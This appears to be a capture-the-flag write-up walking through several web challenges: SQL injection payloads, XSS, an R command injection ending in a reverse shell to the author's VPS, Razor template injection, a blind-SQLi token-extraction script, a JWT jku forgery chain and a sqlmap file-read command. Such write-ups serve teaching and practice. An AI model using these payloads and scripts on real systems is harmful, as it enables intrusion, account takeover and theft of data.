add_user(username,email, password) # adds a user to the database (we can't use it, it's only used for 'add_admin()')
add_admin() # adds a user ("admin","admin@admin.cfg",hash_password(generate(30))
reset_users() # deletes all users from the database
login() # a specially crafted login function

Let’s take a look at login(), as most the challenge’s logic is there

We can right-away see a Blind SQL Injection vulnerability present twice in the code

cursor.executescript(f'''INSERT INTO logging (username) VALUES ('{username}');''')

cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')

That’s interesting, let’s try to figure out how the login() function works:
1) gets a username and a password, then checks if any banned item is present within the username, here is the banned list:

It’s a fat list isn’t it? with key statements like INSERT, INTO, AND being banned, it doesn’t leave us with much freedom, and I think from now it’s a waste to run sqlmap.

2) If the username input is valid, it inserts it into the logging table, then it would check if there is such a username in the database and pull it’s email and password.

3) Before checking the username against the password in the database, the app would call reset_users() and add_admin() to prune all users in the database then re-add the admin user (with a practically uncrackable randomly generated password).

4) If there is a username with the provided password in the database, the user will successfully login and have their username and email printed to them in the dashboard.

Alright that’s a lot to grasp at once, so let’s just think simple and ask a few questions:

• Can I bypass the banned list? Short answer is NO.
• Can I insert a new user with the SQLi then login? Not really because the app would’ve deleted all users before we could login again.
• How can I get the flag anyway? Well, we can make progress here actually, I ran the app locally, removing all the obstacles, and figured we can use the fact that the email is being printed back to the logged in user, to just put the flag there. we need to somehow do this email=(SELECT flag FROM flags)
• Who’s email am I going to change? The admin user seems like a good option
• Is there any other flaw in the app’s logic? YES indeed, it’s the fact that it fetches the user (user = cursor.fetchone()) and saves it to an object before resetting all users, then it compares the input password in that user object.
• How is that a problem? In simple words, it means we can change the admin’s email and password, then log in with that user even after the reset happens, as long as it’s within the same login request.

Good for us the UPDATE query isn’t in the banlist. A requirement for this attack is to use a pre-calculated hash as the password. And use that password when logging in.

password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';

A payload like this won’t work still,

admin');UPDATE users SET email=(SELECT flag FROM flags), password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';

It’s because we need to make sure to satisfy both injection points with no errors

Here is our final payload that meets all requirements:

admin"-- -');UPDATE users SET email=(SELECT flag FROM flags), password='4f4ed9fd06f713e0642439522ed31531' WHERE username='admin';-- d920ade' WHERE username='admin';--

And here is the flag

Coin Machine

It’s just one input field

Throwing in the value Test, it returns this

Trying something like "><img src=1 onerror=alert('Karrab')>, would lead to an XSS

I don’t think that will be enough to get us the flag, let’s keep digging,

app.py

So it would essentially throw whatever input we give at Rscript /opt/core/rscripts/run.R, with the condition that if a line starts with ‘```{‘, the whole line will be replaced with just ‘```’.

Let’s search for payloads and see what happens

This would normally work, but considering the filter, we need something else

Digging a bit more, there is this

It returns an empty screen, which is promising, it could be a hint of command execution

Let’s try to get a reverse shell, popping my VPS r system('bash -c "bash -i >& /dev/tcp/<IP>/4444 0>&1"')

And there it is

Happy Hacking!

BugReportGen

Given the challenge name, you can figure out this app is about generating vulnerability reports. As you can see here:

Let’s play with it a bit, throw test all over and see how the report is generated.

It reflects our input at the bottom of the page, this is important information, as it opens up the door for different injection attacks. Before getting into the juicy part, let’s understand the source code, here is the folder structure:

In the index.cshtml file, there is something that stands out, could you figure out what it is?

If you guessed @Html.Raw(Model.RenderedOutput), then you are correct!

My brain was like, ‘Raw’ huh, there might be an injection of some kind then. Let’s try a basic XSS script

<img src=1 onerror="alert('Karrab was here')">

Not to miss any possible injection points, I threw the payload in every input.

We got a hit! It’s now confirmed the app is vulnerable to Cross-Site Scripting. It’s pretty clear now the description field is vulnerable.

But seeing how the application works, and where the flag is stored, I don’t think XSS will help us get anywhere from here as the compose.yaml file tells us the flag is an environment variable.

Let’s see what @Html.Raw(Model.RenderedOutput) could also be prone to.

After some research, I found this this article, SSTI in ASP.NET Razor.

Following along, we get promising results

gives:

Essentially, we can execute C# code within these braces, it’s that simple.

@{
  // C# code
}

All we need now is to read the FLAG environment variable! Let’s pull some AI, and we get our payload!

@System.Environment.GetEnvironmentVariable("FLAG")

There goes our flag!

Grades

Going to the app link what we can see is essentially two pages; a login page here:

and a “Grade Search” page:

I played with these functionalities for a bit but it didn’t yield any considerable results. Moving on to the source code.

The file structure is pretty basic, an app.py file which contains the logic of the applicatoin and some templates which are simply the views. The app also has a whole lot of routes, as you can see down here:

To save myself some time, I tried to figure out how the application handles the flag instead of reading everything from the beginning The flag is seen at the /admin endpoint.

Let’s give it a visit

Alright then, time to start reading some code while asking the following question; how can I login as an admin?

One of the very first things I came across was this SQL Injection vulnerability at /grades. The code includes user input directly in the query, instead of using prepared statements.

Could I exploit this to read the admin password and call it an easy win? Well, No, for two reasons: First, the app doesn’t show me any results even after successful SQLi exploitation

And it requires admin authentication btw not just a regular user.

Second, the admin password is hashed, and cracking it is probably not an option.

But on second thought, since this payload gives us a different response, we can exploit blind SQLi to read whatever we want from the database. Let’s keep that in mind.

If you didn’t understand this last part, or if you don’t know what Blind SQL Injection is, I suggest reading this guide from PortSwigger.

Alright then, how about leveraging SQLi to update the user password instead? This could be it! Let’s try this payload just to see what happens, (if this works I’ll hash the password don’t worry)

a%'; UPDATE users SET reset_token='test' WHERE username='admin'; -- -

And Boom! Internal Server Error!

Why didn’t this work? Is my payload that bad? I had to spin up the app locally and keep investigating, turns out this was the reason:

we can’t just append a ; and execute statements left and right. I have to use another way then. Checking the endpoints that are available, we can list:

• /grades
• /login
• /index
• /reset-password
• /update-password

The last two could be the final pieces of the puzzle. /reset-password takes a username as a parameter and will then generate a random reset_token for that user and save it the database. (It also sends him an email but that’s not really implemented).

And then the /update-password takes a token and the new password, it would check the database for whoever user this reset_token corresponds to and reset his password.

I think we can orchestrate and attack here! What do you think? How about firing up a password reset request for the admin account, then leveraging the SQLi we found earlier to blindly bruteforce the reset_token. And eventually use it to access the admin panel!

Let’s pull up some Python

import requests
import string
import concurrent.futures

URL = "https://grades.espark.tn/grades"
charset = string.digits + string.ascii_lowercase
reset_token = ""
session = requests.Session() 

def check_condition(payload):
    data = {"search_query": payload}
    r = session.post(URL, data=data)
    return "You need to be authenticated to see results" in r.text 

def find_length():
    for i in range(10, 100):
        if check_condition(f"a%' AND (SELECT LENGTH(reset_token) FROM users WHERE username='admin')={i}--"):
            print(f"Reset token length: {i}")
            return i
    return 0

def extract_char(index):
    for char in charset:
        payload = f"a%' AND (SELECT SUBSTR(reset_token,{index},1) FROM users WHERE username='admin')='{char}'--"
        if check_condition(payload):
            print(f"Found char at {index}: {char}")
            return char
    return ""

def extract_reset_token(length):
    global reset_token
    with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:  # 5 threads for speed
        results = list(executor.map(extract_char, range(1, length + 1)))
    reset_token = "".join(results)
    print(f"Admin's reset token: {reset_token}")

length = find_length()
if length:
    extract_reset_token(length)

It was pretty quick after I added multi-threading

Here is our token 5e2221129af6430407cabe87f6f92a80, resetting the admin password:

logging in!

The flag!

Capitalism

This is more of a bonus one honestly, because my solution and probably 90% of the other submissions were unintended solutions!

This challenge has practically no front end, so the work will be mostly with the source code, it also had the most basic file structure of all the other challenges:

The app only has 3 functions:

• filesHandler
• generateJWT
• loginHandler

The filesHandler is used to read files from the files system (spoiler: I can read any file and the flag is at /flag.txt), but it requires admin authentication.

The generateJWT function takes an employee_id and a role and makes a jwt out of them

This is how the roles are defined

var employeeDB = map[int]string{
    1: "guest",
    2: "employee",
    0: "admin",
}

What the loginHandler does (or tries to do lol) is get an employee_id and a password, then check if the provided password is equal to the admin password, and if so it will log you in as an administrator.

But there is some weird behavior that happens (It’s your task now to figure it out) which makes this request return a valid jwt immediately without having to specify a password!

I took that token and used it to login as an admin and read the flag using the filesHandler function!

Peace out!

MeMent0o~#

First, I will give you a general view of what the web application is about. It’s essentially a Flask Frontend/Backend on port 80, alongside an API in Go and a MariaDB database on port 1234. The Flask part is just a notes app with a login/register page, but after you login you are redirected to ‘/notes’ which is blocked and requires admin privileges.

The API on the other hand, has a few different routes:

We can also say that it handles the admins operations, and has a JWT authentication mechanism.

Before investing much time in reading the code, I decided to get it on Snyk for some automatic code scanning with AI:

A few criticals and highs dropped here and there, but after a little bit of digging, sadly no low hanging fruit showed up, so I moved on.

I started going through the code trying to understand how it works, and right off the bat I see this:

As you can see above, the search functionality seems vulnerable to SQL Injection because it’s inserting user input directly in the sql query. That’s a promising start isn’t it? Well, as I mentioned in the beginning, ‘/notes’ endpoint requires admin login, and we don’t have that yet.

Let’s take a look at the admin_required function.

It doesn’t look bypassable to me, so I keep going.

Something interesting I saw was in the ‘/login’ route,

We can conclude now that the requirements of an admin token are session[user_id] = 1 and session[username] = admin (I know it’s ‘admin’ further in API code). Let’s keep that in mind.

Digging now in the API code (port 1234), I see this decodeToken function.

I dealt with JWTs before, so I was wondering, why doesn’t this use any sort of private key to decode? It all looks like user supplied information here.

Let’s ask chatGPT some questions, I take the function code and send it, asking if it’s possible to generate a working token.

I get this beautiful explanation, which is more than enough to point me at the right direction.

I still didn’t understand what jku or jwk are, so with a google search we get

JKU, or JWK Set URL is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS. You have two options to validate JWT. You can provide the URL. https://techdocs.akamai.com

The JSON Web Key Set (JWKS) is a set of keys containing the public keys used to verify any JSON Web Token (JWT) issued by the Authorization Server. https://auth0.com/

Alright, and I remember checking this endpoint ‘http://web1.securinets.tn:1234/.well-known/jwks.json’ which gives us the jwks.json the app uses

Now comes the real question, to make sure we’re on the right track.

Yes, in a way, it trusts the jku URL in the token’s header.

There goes the SSRF.

So to recap what I understood here, it’s that I have to generate my own public key and private key, use them to make a jku, host it, and then use it to forge whatever jwt that I want.

After some “prompt engineering”, code debugging, and giving chatGPT as much context as I could, here goes some AI magic.

Generating the RSA key pair

from cryptography.hazmat.backends import default_backend  
from cryptography.hazmat.primitives import serialization  
from cryptography.hazmat.primitives.asymmetric import rsa  
  
private_key = rsa.generate_private_key(  
    public_exponent=65537,  
    key_size=2048,  
    backend=default_backend()  
)  
  
private_key_pem = private_key.private_bytes(  
    encoding=serialization.Encoding.PEM,  
    format=serialization.PrivateFormat.PKCS8,  
    encryption_algorithm=serialization.NoEncryption()  
)  
  
with open("private_key.pem", "wb") as f:  
    f.write(private_key_pem)  
  
  
public_key = private_key.public_key()  
public_key_pem = public_key.public_bytes(  
    encoding=serialization.Encoding.PEM,  
    format=serialization.PublicFormat.SubjectPublicKeyInfo  
)  
  
with open("public_key.pem", "wb") as f:  
    f.write(public_key_pem)  
  
  
print("Private and public keys generated.")

We get these two little guys

Now converting the public key to JWK format

from cryptography.hazmat.backends import default_backend  
from cryptography.hazmat.primitives.asymmetric import rsa  
from cryptography.hazmat.primitives import serialization  
import base64  
import json  
   
def base64url_encode(data):  
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')  
  
with open("public_key.pem", "rb") as f:  
    public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())  
  
public_numbers = public_key.public_numbers()  
n = base64url_encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, byteorder='big'))  
e = base64url_encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, byteorder='big'))  
  
  
jwk = {  
    "keys": [  
        {  
            "alg": "RS256",  
            "kty": "RSA",  
            "use": "sig",  
            "kid": "001122334455",  
            "n": n,  
            "e": e  
        }  
    ]  
}  
  
with open("jwks.json", "w") as f:  
    json.dump(jwk, f)  
  
  
print("Public key converted to JWK format and saved to jwks.json.")

That gets us here

And finally, forging our jwt

import jwt  
import time  
from cryptography.hazmat.primitives import serialization  
from cryptography.hazmat.backends import default_backend  
  
  
with open("private_key.pem", "rb") as f:  
    private_key = serialization.load_pem_private_key(f.read(), password=None, backend=default_backend())  
  
  
payload = {  
    "user_id": 1,  
    "username": "admin",  
    "exp": time.time() + 3600  # Token expiration time (1 hour)  
}  
  
  
token = jwt.encode(  
    payload,  
    private_key,  
    algorithm="RS256",  
    headers={  
        "jku": "Your-Public-IP/.well-known/jwks.json",  # Your JWK URL  
        "kid": "001122334455"  
    }  
)  
  
  
print("JWT:", token)

‘Your-Public-IP’ is where I hosted the jku.

We bring our token to https://jwt.io/ to make sure it’s good to go.

Nice, where do we use it now? Well, there is an interesting endpoint that was used in the login function, getCreds, that simply responds with the admin credentials.

Let’s hit ‘/get_creds’.

Sweet, we have the admin credentials now, we login on port 80, and we have access to ‘/Notes’.

Remember the SQLi in the search function that I mentioned in the beginning? It’s time to get use of it. A straighforward payload would go as:

' UNION SELECT NULL,NULL,NULL -- -

After determining the number of columns and getting the payload right, three weird Desktop icons appear:

SQLi confirmed, but sadly it’s Blind SQLi, we need to get creative to bring the flag home. This classic payload gives positive results:

' AND SUBSTRING((SELECT username FROM users WHERE username = 'admin'), 1, 1) < 'z

Alright, if you don’t know, there is a technique we can use to read files using SQLi, using the LOAD_FILE function:

' AND SUBSTRING((SELECT LOAD_FILE('/flag')), 1, 1) < 'z

I knew the flag was at ‘/flag’ by checking the compose.yaml file. Again, this is blind SQL injection, so we need to automate the bruteforcing process. I tried to make a python script but it was taking me some time and I really wanted to get first blood on this challenge, so I switched to sqlmap.

I intercepted the request in Burp and saved it in ‘req’ file. After some tweaking I got a working sqlmap command that’s also relatively fast:

sqlmap -r req --technique BEU --level=3 --file-read=/flag

And here it goes, in HEX:

HEX to ASCII and we get the flag:

securinets{e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855}

Happy hacking!